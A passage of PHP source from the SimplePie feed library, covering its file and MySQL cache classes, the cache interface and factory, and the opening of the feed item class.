 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Caches data to the filesystem
 *
 * @package SimplePie
 * @subpackage Caching
 */
class SimplePie_Cache_File implements SimplePie_Cache_Base
{
	/**
	 * Location string
	 *
	 * @see SimplePie::$cache_location
	 * @var string
	 */
	protected $location;

	/**
	 * Filename
	 *
	 * @var string
	 */
	protected $filename;

	/**
	 * File extension
	 *
	 * @var string
	 */
	protected $extension;

	/**
	 * File path
	 *
	 * @var string
	 */
	protected $name;

	/**
	 * Create a new cache object
	 *
	 * @param string $location Location string (from SimplePie::$cache_location)
	 * @param string $name Unique ID for the cache
	 * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
	 */
	public function __construct($location, $name, $type)
	{
		$this->location = $location;
		$this->filename = $name;
		$this->extension = $type;
		$this->name = "$this->location/$this->filename.$this->extension";
	}

	/**
	 * Save data to the cache
	 *
	 * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
	 * @return bool Successfulness
	 */
	public function save($data)
	{
		if (file_exists($this->name) && is_writable($this->name) || file_exists($this->location) && is_writable($this->location))
		{
			if ($data instanceof SimplePie)
			{
				$data = $data->data;
			}

			$data = serialize($data);
			return (bool) file_put_contents($this->name, $data);
		}
		return false;
	}

	/**
	 * Retrieve the data saved to the cache
	 *
	 * @return array Data for SimplePie::$data
	 */
	public function load()
	{
		if (file_exists($this->name) && is_readable($this->name))
		{
			return unserialize(file_get_contents($this->name));
		}
		return false;
	}

	/**
	 * Retrieve the last modified time for the cache
	 *
	 * @return int Timestamp
	 */
	public function mtime()
	{
		return @filemtime($this->name);
	}

	/**
	 * Set the last modified time to the current time
	 *
	 * @return bool Success status
	 */
	public function touch()
	{
		return @touch($this->name);
	}

	/**
	 * Remove the cache
	 *
	 * @return bool Success status
	 */
	public function unlink()
	{
		if (file_exists($this->name))
		{
			return unlink($this->name);
		}
		return false;
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Caches data to a MySQL database
 *
 * Registered for URLs with the "mysql" protocol
 *
 * For example, `mysql://root:password@localhost:3306/mydb?prefix=sp_` will
 * connect to the `mydb` database on `localhost` on port 3306, with the user
 * `root` and the password `password`. All tables will be prefixed with `sp_`
 *
 * @package SimplePie
 * @subpackage Caching
 */
class SimplePie_Cache_MySQL extends SimplePie_Cache_DB
{
	/**
	 * PDO instance
	 *
	 * @var PDO
	 */
	protected $mysql;

	/**
	 * Options
	 *
	 * @var array
	 */
	protected $options;

	/**
	 * Cache ID
	 *
	 * @var string
	 */
	protected $id;

	/**
	 * Create a new cache object
	 *
	 * @param string $location Location string (from SimplePie::$cache_location)
	 * @param string $name Unique ID for the cache
	 * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
	 */
	public function __construct($location, $name, $type)
	{
		$this->options = array(
			'user' => null,
			'pass' => null,
			'host' => '127.0.0.1',
			'port' => '3306',
			'path' => '',
			'extras' => array(
				'prefix' => '',
				'cache_purge_time' => 2592000
			),
		);

		$this->options = SimplePie_Misc::array_merge_recursive($this->options, SimplePie_Cache::parse_URL($location));

		// Path is prefixed with a "/"
		$this->options['dbname'] = substr($this->options['path'], 1);

		try
		{
			$this->mysql = new PDO("mysql:dbname={$this->options['dbname']};host={$this->options['host']};port={$this->options['port']}", $this->options['user'], $this->options['pass'], array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8'));
		}
		catch (PDOException $e)
		{
			$this->mysql = null;
			return;
		}

		$this->id = $name . $type;

		if (!$query = $this->mysql->query('SHOW TABLES'))
		{
			$this->mysql = null;
			return;
		}

		$db = array();
		while ($row = $query->fetchColumn())
		{
			$db[] = $row;
		}

		if (!in_array($this->options['extras']['prefix'] . 'cache_data', $db))
		{
			$query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'cache_data` (`id` TEXT CHARACTER SET utf8 NOT NULL, `items` SMALLINT NOT NULL DEFAULT 0, `data` BLOB NOT NULL, `mtime` INT UNSIGNED NOT NULL, UNIQUE (`id`(125)))');
			if ($query === false)
			{
				trigger_error("Can't create " . $this->options['extras']['prefix'] . "cache_data table, check permissions", E_USER_WARNING);
				$this->mysql = null;
				return;
			}
		}

		if (!in_array($this->options['extras']['prefix'] . 'items', $db))
		{
			$query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'items` (`feed_id` TEXT CHARACTER SET utf8 NOT NULL, `id` TEXT CHARACTER SET utf8 NOT NULL, `data` MEDIUMBLOB NOT NULL, `posted` INT UNSIGNED NOT NULL, INDEX `feed_id` (`feed_id`(125)))');
			if ($query === false)
			{
				trigger_error("Can't create " . $this->options['extras']['prefix'] . "items table, check permissions", E_USER_WARNING);
				$this->mysql = null;
				return;
			}
		}
	}

	/**
	 * Save data to the cache
	 *
	 * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
	 * @return bool Successfulness
	 */
	public function save($data)
	{
		if ($this->mysql === null)
		{
			return false;
		}

		$query = $this->mysql->prepare('DELETE i, cd FROM `' . $this->options['extras']['prefix'] . 'cache_data` cd, ' .
			'`' . $this->options['extras']['prefix'] . 'items` i ' .
			'WHERE cd.id = i.feed_id ' .
			'AND cd.mtime < (unix_timestamp() - :purge_time)');
		$query->bindValue(':purge_time', $this->options['extras']['cache_purge_time']);

		if (!$query->execute())
		{
			return false;
		}

		if ($data instanceof SimplePie)
		{
			$data = clone $data;

			$prepared = self::prepare_simplepie_object_for_cache($data);

			$query = $this->mysql->prepare('SELECT COUNT(*) FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed');
			$query->bindValue(':feed', $this->id);
			if ($query->execute())
			{
				if ($query->fetchColumn() > 0)
				{
					$items = count($prepared[1]);
					if ($items)
					{
						$sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = :items, `data` = :data, `mtime` = :time WHERE `id` = :feed';
						$query = $this->mysql->prepare($sql);
						$query->bindValue(':items', $items);
					}
					else
					{
						$sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `data` = :data, `mtime` = :time WHERE `id` = :feed';
						$query = $this->mysql->prepare($sql);
					}

					$query->bindValue(':data', $prepared[0]);
					$query->bindValue(':time', time());
					$query->bindValue(':feed', $this->id);
					if (!$query->execute())
					{
						return false;
					}
				}
				else
				{
					$query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:feed, :count, :data, :time)');
					$query->bindValue(':feed', $this->id);
					$query->bindValue(':count', count($prepared[1]));
					$query->bindValue(':data', $prepared[0]);
					$query->bindValue(':time', time());
					if (!$query->execute())
					{
						return false;
					}
				}

				$ids = array_keys($prepared[1]);
				if (!empty($ids))
				{
					foreach ($ids as $id)
					{
						$database_ids[] = $this->mysql->quote($id);
					}

					$query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `id` = ' . implode(' OR `id` = ', $database_ids) . ' AND `feed_id` = :feed');
					$query->bindValue(':feed', $this->id);

					if ($query->execute())
					{
						$existing_ids = array();
						while ($row = $query->fetchColumn())
						{
							$existing_ids[] = $row;
						}

						$new_ids = array_diff($ids, $existing_ids);

						foreach ($new_ids as $new_id)
						{
							if (!($date = $prepared[1][$new_id]->get_date('U')))
							{
								$date = time();
							}

							$query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'items` (`feed_id`, `id`, `data`, `posted`) VALUES(:feed, :id, :data, :date)');
							$query->bindValue(':feed', $this->id);
							$query->bindValue(':id', $new_id);
							$query->bindValue(':data', serialize($prepared[1][$new_id]->data));
							$query->bindValue(':date', $date);
							if (!$query->execute())
							{
								return false;
							}
						}
						return true;
					}
				}
				else
				{
					return true;
				}
			}
		}
		else
		{
			$query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed');
			$query->bindValue(':feed', $this->id);
			if ($query->execute())
			{
				if ($query->rowCount() > 0)
				{
					$query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = 0, `data` = :data, `mtime` = :time WHERE `id` = :feed');
					$query->bindValue(':data', serialize($data));
					$query->bindValue(':time', time());
					$query->bindValue(':feed', $this->id);
					if ($this->execute())
					{
						return true;
					}
				}
				else
				{
					$query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:id, 0, :data, :time)');
					$query->bindValue(':id', $this->id);
					$query->bindValue(':data', serialize($data));
					$query->bindValue(':time', time());
					if ($query->execute())
					{
						return true;
					}
				}
			}
		}
		return false;
	}

	/**
	 * Retrieve the data saved to the cache
	 *
	 * @return array Data for SimplePie::$data
	 */
	public function load()
	{
		if ($this->mysql === null)
		{
			return false;
		}

		$query = $this->mysql->prepare('SELECT `items`, `data` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
		$query->bindValue(':id', $this->id);
		if ($query->execute() && ($row = $query->fetch()))
		{
			$data = unserialize($row[1]);

			if (isset($this->options['items'][0]))
			{
				$items = (int) $this->options['items'][0];
			}
			else
			{
				$items = (int) $row[0];
			}

			if ($items !== 0)
			{
				if (isset($data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]))
				{
					$feed =& $data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0];
				}
				elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]))
				{
					$feed =& $data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0];
				}
				elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]))
				{
					$feed =& $data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0];
				}
				elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]))
				{
					$feed =& $data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0];
				}
				else
				{
					$feed = null;
				}

				if ($feed !== null)
				{
					$sql = 'SELECT `data` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :feed ORDER BY `posted` DESC';
					if ($items > 0)
					{
						$sql .= ' LIMIT ' . $items;
					}

					$query = $this->mysql->prepare($sql);
					$query->bindValue(':feed', $this->id);
					if ($query->execute())
					{
						while ($row = $query->fetchColumn())
						{
							$feed['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry'][] = unserialize($row);
						}
					}
					else
					{
						return false;
					}
				}
			}
			return $data;
		}
		return false;
	}

	/**
	 * Retrieve the last modified time for the cache
	 *
	 * @return int Timestamp
	 */
	public function mtime()
	{
		if ($this->mysql === null)
		{
			return false;
		}

		$query = $this->mysql->prepare('SELECT `mtime` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
		$query->bindValue(':id', $this->id);
		if ($query->execute() && ($time = $query->fetchColumn()))
		{
			return $time;
		}

		return false;
	}

	/**
	 * Set the last modified time to the current time
	 *
	 * @return bool Success status
	 */
	public function touch()
	{
		if ($this->mysql === null)
		{
			return false;
		}

		$query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `mtime` = :time WHERE `id` = :id');
		$query->bindValue(':time', time());
		$query->bindValue(':id', $this->id);

		return $query->execute() && $query->rowCount() > 0;
	}

	/**
	 * Remove the cache
	 *
	 * @return bool Success status
	 */
	public function unlink()
	{
		if ($this->mysql === null)
		{
			return false;
		}

		$query = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
		$query->bindValue(':id', $this->id);
		$query2 = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :id');
		$query2->bindValue(':id', $this->id);

		return $query->execute() && $query2->execute();
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Base for cache objects
 *
 * Classes to be used with {@see SimplePie_Cache::register()} are expected
 * to implement this interface.
 *
 * @package SimplePie
 * @subpackage Caching
 */
interface SimplePie_Cache_Base
{
	/**
	 * Feed cache type
	 *
	 * @var string
	 */
	const TYPE_FEED = 'spc';

	/**
	 * Image cache type
	 *
	 * @var string
	 */
	const TYPE_IMAGE = 'spi';

	/**
	 * Create a new cache object
	 *
	 * @param string $location Location string (from SimplePie::$cache_location)
	 * @param string $name Unique ID for the cache
	 * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
	 */
	public function __construct($location, $name, $type);

	/**
	 * Save data to the cache
	 *
	 * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
	 * @return bool Successfulness
	 */
	public function save($data);

	/**
	 * Retrieve the data saved to the cache
	 *
	 * @return array Data for SimplePie::$data
	 */
	public function load();

	/**
	 * Retrieve the last modified time for the cache
	 *
	 * @return int Timestamp
	 */
	public function mtime();

	/**
	 * Set the last modified time to the current time
	 *
	 * @return bool Success status
	 */
	public function touch();

	/**
	 * Remove the cache
	 *
	 * @return bool Success status
	 */
	public function unlink();
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Base class for database-based caches
 *
 * @package SimplePie
 * @subpackage Caching
 */
abstract class SimplePie_Cache_DB implements SimplePie_Cache_Base
{
	/**
	 * Helper for database conversion
	 *
	 * Converts a given {@see SimplePie} object into data to be stored
	 *
	 * @param SimplePie $data
	 * @return array First item is the serialized data for storage, second item is the unique ID for this item
	 */
	protected static function prepare_simplepie_object_for_cache($data)
	{
		$items = $data->get_items();
		$items_by_id = array();

		if (!empty($items))
		{
			foreach ($items as $item)
			{
				$items_by_id[$item->get_id()] = $item;
			}

			if (count($items_by_id) !== count($items))
			{
				$items_by_id = array();
				foreach ($items as $item)
				{
					$items_by_id[$item->get_id(true)] = $item;
				}
			}

			if (isset($data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]))
			{
				$channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0];
			}
			elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]))
			{
				$channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0];
			}
			elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]))
			{
				$channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0];
			}
			elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['channel'][0]))
			{
				$channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['channel'][0];
			}
			else
			{
				$channel = null;
			}

			if ($channel !== null)
			{
				if (isset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry']))
				{
					unset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry']);
				}
				if (isset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['entry']))
				{
					unset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['entry']);
				}
				if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item']))
				{
					unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item']);
				}
				if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item']))
				{
					unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item']);
				}
				if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_20]['item']))
				{
					unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_20]['item']);
				}
			}
			if (isset($data->data['items']))
			{
				unset($data->data['items']);
			}
			if (isset($data->data['ordered_items']))
			{
				unset($data->data['ordered_items']);
			}
		}
		return array(serialize($data->data), $items_by_id);
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Used to create cache objects
 *
 * This class can be overloaded with {@see SimplePie::set_cache_class()},
 * although the preferred way is to create your own handler
 * via {@see register()}
 *
 * @package SimplePie
 * @subpackage Caching
 */
class SimplePie_Cache
{
	/**
	 * Cache handler classes
	 *
	 * These receive 3 parameters to their constructor, as documented in
	 * {@see register()}
	 * @var array
	 */
	protected static $handlers = array(
		'mysql'     => 'SimplePie_Cache_MySQL',
		'memcache'  => 'SimplePie_Cache_Memcache',
		'memcached' => 'SimplePie_Cache_Memcached',
		'redis'     => 'SimplePie_Cache_Redis'
	);

	/**
	 * Don't call the constructor. Please.
	 */
	private function __construct() { }

	/**
	 * Create a new SimplePie_Cache object
	 *
	 * @param string $location URL location (scheme is used to determine handler)
	 * @param string $filename Unique identifier for cache object
	 * @param string $extension 'spi' or 'spc'
	 * @return SimplePie_Cache_Base Type of object depends on scheme of `$location`
	 */
	public static function get_handler($location, $filename, $extension)
	{
		$type = explode(':', $location, 2);
		$type = $type[0];
		if (!empty(self::$handlers[$type]))
		{
			$class = self::$handlers[$type];
			return new $class($location, $filename, $extension);
		}

		return new SimplePie_Cache_File($location, $filename, $extension);
	}

	/**
	 * Create a new SimplePie_Cache object
	 *
	 * @deprecated Use {@see get_handler} instead
	 */
	public function create($location, $filename, $extension)
	{
		trigger_error('Cache::create() has been replaced with Cache::get_handler(). Switch to the registry system to use this.', E_USER_DEPRECATED);
		return self::get_handler($location, $filename, $extension);
	}

	/**
	 * Register a handler
	 *
	 * @param string $type DSN type to register for
	 * @param string $class Name of handler class. Must implement SimplePie_Cache_Base
	 */
	public static function register($type, $class)
	{
		self::$handlers[$type] = $class;
	}

	/**
	 * Parse a URL into an array
	 *
	 * @param string $url
	 * @return array
	 */
	public static function parse_URL($url)
	{
		$params = parse_url($url);
		$params['extras'] = array();
		if (isset($params['query']))
		{
			parse_str($params['query'], $params['extras']);
		}
		return $params;
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * Manages all item-related data
 *
 * Used by {@see SimplePie::get_item()} and {@see SimplePie::get_items()}
 *
 * This class can be overloaded with {@see SimplePie::set_item_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Item
{
	/**
	 * Parent feed
	 *
	 * @access private
	 * @var SimplePie
	 */
	var $feed;

	/**
	 * Raw data
	 *
	 * @access private
	 * @var array
	 */
	var $data = array();

	/**
	 * Registry object
	 *
	 * @see set_registry
	 * @var SimplePie_Registry
	 */
	protected $registry;

	/**
	 * Create a new item object
	 *
	 * This is usually used by {@see SimplePie::get_items} and
	 * {@see SimplePie::get_item}. Avoid creating this manually.
	 *
	 * @param SimplePie $feed Parent feed
	 * @param array $data Raw data
	 */
	public function __construct($feed, $data)
	{
		$this->feed = $feed;
		$this->data = $data;
	}

	/**
	 * Set the registry handler
	 *
	 * This is usually used by {@see SimplePie_Registry::create}
	 *
	 * @since 1.3
